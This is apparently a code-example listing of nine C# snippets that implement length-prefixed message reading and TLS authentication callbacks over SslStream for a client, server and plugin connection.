示例#1
0
 public void ReadServertData(IAsyncResult ar)
 {
     try
     {
         if (!ClientSocket.IsConnected || !IsConnected)
         {
             IsConnected = false;
             Dispose();
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             MS.Write(Buffer, 0, recevied);
             if (MS.Length == 4)
             {
                 Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                 Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes  ///");
                 MS.Dispose();
                 MS = new MemoryStream();
                 if (Buffersize > 0)
                 {
                     Buffer = new byte[Buffersize];
                     while (MS.Length != Buffersize)
                     {
                         int rc = SslClient.Read(Buffer, 0, Buffer.Length);
                         if (rc == 0)
                         {
                             IsConnected = false;
                             Dispose();
                             return;
                         }
                         MS.Write(Buffer, 0, rc);
                         Buffer = new byte[Buffersize - MS.Length];
                     }
                     if (MS.Length == Buffersize)
                     {
                         ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
                         Buffer = new byte[4];
                         MS.Dispose();
                         MS = new MemoryStream();
                     }
                 }
             }
             SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             Dispose();
             return;
         }
     }
     catch
     {
         IsConnected = false;
         Dispose();
         return;
     }
 }
示例#2
0
        public async void ReadClientData(IAsyncResult ar)
        {
            try
            {
                if (!TcpClient.Connected)
                {
                    Disconnected();
                    return;
                }
                else
                {
                    int Recevied = SslClient.EndRead(ar);
                    if (Recevied > 0)
                    {
                        await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);

                        if (!ClientBufferRecevied)
                        {
                            if (ClientMS.Length == 4)
                            {
                                ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
                                ClientMS.Dispose();
                                ClientMS = new MemoryStream();
                                if (ClientBuffersize > 0)
                                {
                                    ClientBuffer = new byte[ClientBuffersize];
                                    Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes  ///");
                                    ClientBufferRecevied = true;
                                }
                            }
                        }
                        else
                        {
                            Settings.Received += Recevied;
                            BytesRecevied     += Recevied;
                            if (ClientMS.Length == ClientBuffersize)
                            {
                                ThreadPool.QueueUserWorkItem(Packet.Read, new object[] { ClientMS.ToArray(), this });
                                ClientBuffer = new byte[4];
                                ClientMS.Dispose();
                                ClientMS             = new MemoryStream();
                                ClientBufferRecevied = false;
                            }
                        }
                        SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
                    }
                    else
                    {
                        Disconnected();
                        return;
                    }
                }
            }
            catch
            {
                Disconnected();
                return;
            }
        }
示例#3
0
 public static void ReadServertData(IAsyncResult ar)
 {
     try
     {
         if (!TcpClient.Connected || !IsConnected)
         {
             IsConnected = false;
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             MS.Write(Buffer, 0, recevied);
             if (MS.Length == 4)
             {
                 Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                 Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes  ///");
                 MS.Dispose();
                 MS = new MemoryStream();
                 if (Buffersize > 0)
                 {
                     Buffer = new byte[Buffersize];
                     while (MS.Length != Buffersize)
                     {
                         int rc = SslClient.Read(Buffer, 0, Buffer.Length);
                         if (rc == 0)
                         {
                             IsConnected = false;
                             return;
                         }
                         MS.Write(Buffer, 0, rc);
                         Buffer = new byte[Buffersize - MS.Length];
                     }
                     if (MS.Length == Buffersize)
                     {
                         Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
                         thread.Start(MS.ToArray());
                         Buffer = new byte[4];
                         MS.Dispose();
                         MS = new MemoryStream();
                     }
                 }
             }
             SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             return;
         }
     }
     catch
     {
         IsConnected = false;
         return;
     }
 }
示例#4
0
 private void EndAuthenticate(IAsyncResult ar)
 {
     try
     {
         SslClient.EndAuthenticateAsServer(ar);
         ClientBuffer = new byte[HeaderSize];
         ClientMS     = new MemoryStream();
         SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
     }
     catch
     {
         SslClient?.Dispose();
         TcpClient?.Dispose();
     }
 }
示例#5
0
 private void EndAuthenticate(IAsyncResult ar)
 {
     try
     {
         SslClient.EndAuthenticateAsServer(ar);
         ClientBuffer = new byte[4];
         ClientMS     = new MemoryStream();
         SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
     }
     catch
     {
         //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
         SslClient?.Dispose();
         TcpClient?.Dispose();
     }
 }
示例#6
0
 private void EndAuthenticate(IAsyncResult ar)
 {
     try
     {
         SslClient.EndAuthenticateAsServer(ar);
         Offset       = 0;
         HeaderSize   = 4;
         ClientBuffer = new byte[HeaderSize];
         SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
     }
     catch
     {
         SslClient?.Dispose();
         TcpClient?.Dispose();
     }
 }
示例#7
0
 public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
 {
     try
     {
         if (!TcpClient.Connected || !IsConnected)
         {
             IsConnected = false;
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             Offset     += recevied;
             HeaderSize -= recevied;
             if (HeaderSize == 0)
             {
                 HeaderSize = BitConverter.ToInt32(Buffer, 0);
                 Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes  ///");
                 if (HeaderSize > 0)
                 {
                     Offset = 0;
                     Buffer = new byte[HeaderSize];
                     while (HeaderSize > 0)
                     {
                         int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
                         if (rc <= 0)
                         {
                             IsConnected = false;
                             return;
                         }
                         Offset     += rc;
                         HeaderSize -= rc;
                         if (HeaderSize < 0)
                         {
                             IsConnected = false;
                             return;
                         }
                     }
                     Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
                     thread.Start(Buffer);
                     Offset     = 0;
                     HeaderSize = 4;
                     Buffer     = new byte[HeaderSize];
                 }
                 else
                 {
                     HeaderSize = 4;
                     Buffer     = new byte[HeaderSize];
                     Offset     = 0;
                 }
             }
             else if (HeaderSize < 0)
             {
                 IsConnected = false;
                 return;
             }
             SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             return;
         }
     }
     catch
     {
         IsConnected = false;
         return;
     }
 }
示例#8
0
        public void ReadClientData(IAsyncResult ar)
        {
            try
            {
                if (!TcpClient.Connected)
                {
                    Disconnected();
                    return;
                }
                else
                {
                    int recevied = SslClient.EndRead(ar);
                    if (recevied > 0)
                    {
                        HeaderSize -= recevied;
                        Offset     += recevied;
                        switch (ClientBufferRecevied)
                        {
                        case false:
                        {
                            if (HeaderSize == 0)
                            {
                                HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
                                if (HeaderSize > 0)
                                {
                                    ClientBuffer = new byte[HeaderSize];
                                    Debug.WriteLine("/// Server Buffersize " + HeaderSize.ToString() + " Bytes  ///");
                                    Offset = 0;
                                    ClientBufferRecevied = true;
                                }
                            }
                            else if (HeaderSize < 0)
                            {
                                Disconnected();
                                return;
                            }
                            break;
                        }

                        case true:
                        {
                            lock (Settings.LockReceivedSendValue)
                                Settings.ReceivedValue += recevied;
                            BytesRecevied += recevied;
                            if (HeaderSize == 0)
                            {
                                ThreadPool.QueueUserWorkItem(new Packet
                                    {
                                        client = this,
                                        data   = ClientBuffer,
                                    }.Read, null);
                                Offset               = 0;
                                HeaderSize           = 4;
                                ClientBuffer         = new byte[HeaderSize];
                                ClientBufferRecevied = false;
                            }
                            else if (HeaderSize < 0)
                            {
                                Disconnected();
                                return;
                            }
                            break;
                        }
                        }
                        SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
                    }
                    else
                    {
                        Disconnected();
                        return;
                    }
                }
            }
            catch
            {
                Disconnected();
                return;
            }
        }
示例#9
0
        public void ReadClientData(IAsyncResult ar)
        {
            try
            {
                if (!TcpClient.Connected)
                {
                    Disconnected();
                    return;
                }
                else
                {
                    int Recevied = SslClient.EndRead(ar);
                    if (Recevied > 0)
                    {
                        switch (ClientBufferRecevied)
                        {
                        case false:
                        {
                            ClientMS.Write(ClientBuffer, 0, Recevied);
                            if (ClientMS.Length == HeaderSize)
                            {
                                ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
                                ClientMS.Dispose();
                                ClientMS = new MemoryStream();
                                if (ClientBuffersize > 0)
                                {
                                    ClientBuffer = new byte[ClientBuffersize];
                                    Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes  ///");
                                    ClientBufferRecevied = true;
                                }
                            }
                            break;
                        }

                        case true:
                        {
                            ClientMS.Write(ClientBuffer, 0, Recevied);
                            lock (Settings.LockReceivedSendValue)
                                Settings.ReceivedValue += Recevied;
                            BytesRecevied += Recevied;
                            if (ClientMS.Length == ClientBuffersize)
                            {
                                ThreadPool.QueueUserWorkItem(new Packet
                                    {
                                        client = this,
                                        data   = ClientMS.ToArray(),
                                    }.Read, null);

                                ClientBuffer = new byte[HeaderSize];
                                ClientMS.Dispose();
                                ClientMS             = new MemoryStream();
                                ClientBufferRecevied = false;
                            }
                            break;
                        }
                        }
                        SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
                    }
                    else
                    {
                        Disconnected();
                        return;
                    }
                }
            }
            catch
            {
                Disconnected();
                return;
            }
        }